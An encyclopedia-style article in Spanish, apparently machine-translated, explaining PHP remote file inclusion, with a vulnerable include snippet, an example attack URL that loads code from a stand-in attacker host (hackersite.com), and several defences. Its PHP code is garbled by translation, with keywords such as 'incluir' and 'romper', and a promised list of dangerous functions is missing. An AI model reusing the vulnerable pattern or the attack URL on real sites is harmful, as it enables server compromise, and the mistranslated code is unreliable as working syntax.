Inyección PHP

La versión actual de la página aún no ha sido revisada por colaboradores experimentados y puede diferir significativamente de la versión revisada el 1 de diciembre de 2020; las comprobaciones requieren 2 ediciones .

La inyección de PHP ( eng.  PHP injection ) es una de las formas de piratear sitios web que se ejecutan en PHP , que consiste en ejecutar código extraño en el lado del servidor. Las funciones potencialmente peligrosas son:

La inyección de PHP se vuelve posible si los parámetros de entrada se aceptan y usan sin validación.

Ejemplo

<? ... $módulo = $_GET [ 'módulo' ]; include ( $módulo . '.php' ); ... ?>

Este script es vulnerable, porque ".php" simplemente se agrega al contenido de la variable y el archivo$module .php se incluye en la ruta recibida .

Un atacante puede crear un archivo que contenga código PHP ( http://hackersite.com/inc.php) en su sitio y, al visitar el sitio a través de un enlace, parece http://mysite.com/index.php?module=http://hackersite.com/inc ejecutar cualquier comando PHP.

Maneras de proteger

Hay varias formas de protegerse contra un ataque de este tipo:

  • Compruebe si una variable contiene $modulecaracteres extraños:
<? ... $módulo = $_GET [ 'módulo' ]; if ( strpbrk ( $ módulo , '.?/:' )) die ( 'Bloqueado' ); incluir $módulo . '.php' ; ... ?>
  • Revisa que $moduleesté asignado uno de los valores permitidos:
<? ... $módulo = $_GET [ 'módulo' ]; $ matriz = matriz ( 'principal' , 'acerca de' , 'enlaces' , 'foro' ); if ( ! in_array ( $módulo , $matriz )) $módulo = $matriz [ 0 ]; incluir $módulo . '.php' ; ... ?>

Este método es más eficiente, hermoso y ordenado.

  • Escriba cada valor a través de si
<? ... $módulo = $_GET [ 'módulo' ]; if ( $módulo == 'principal' ) incluye 'principal.php' ; if ( $módulo == 'acerca de' ) include 'acerca de.php' ; if ( $módulo == 'enlaces' ) include 'enlaces.php' ; if ( $módulo == 'foro' ) include 'foro.php' ; ... ?>
  • Utilice la declaración de cambio:
<? ... $módulo = $_GET [ 'módulo' ]; switch ( $módulo ){ case 'acerca de' : case 'enlaces' : case 'foro' : include " { $módulo } .php" ; romper ; predeterminado : incluye 'main.php' ; } ... ?>

Esta solución es similar a la solución if, pero tiene una notación más compacta.

PHP también brinda la posibilidad de deshabilitar el uso de archivos remotos, esto se implementa cambiando el valor de la opción allow_url_fopen a Desactivado en el archivo de configuración del servidor php.ini.

La vulnerabilidad descrita representa un alto peligro para el sitio y los autores de scripts PHP no deben olvidarse de ella.

Véase también

Enlaces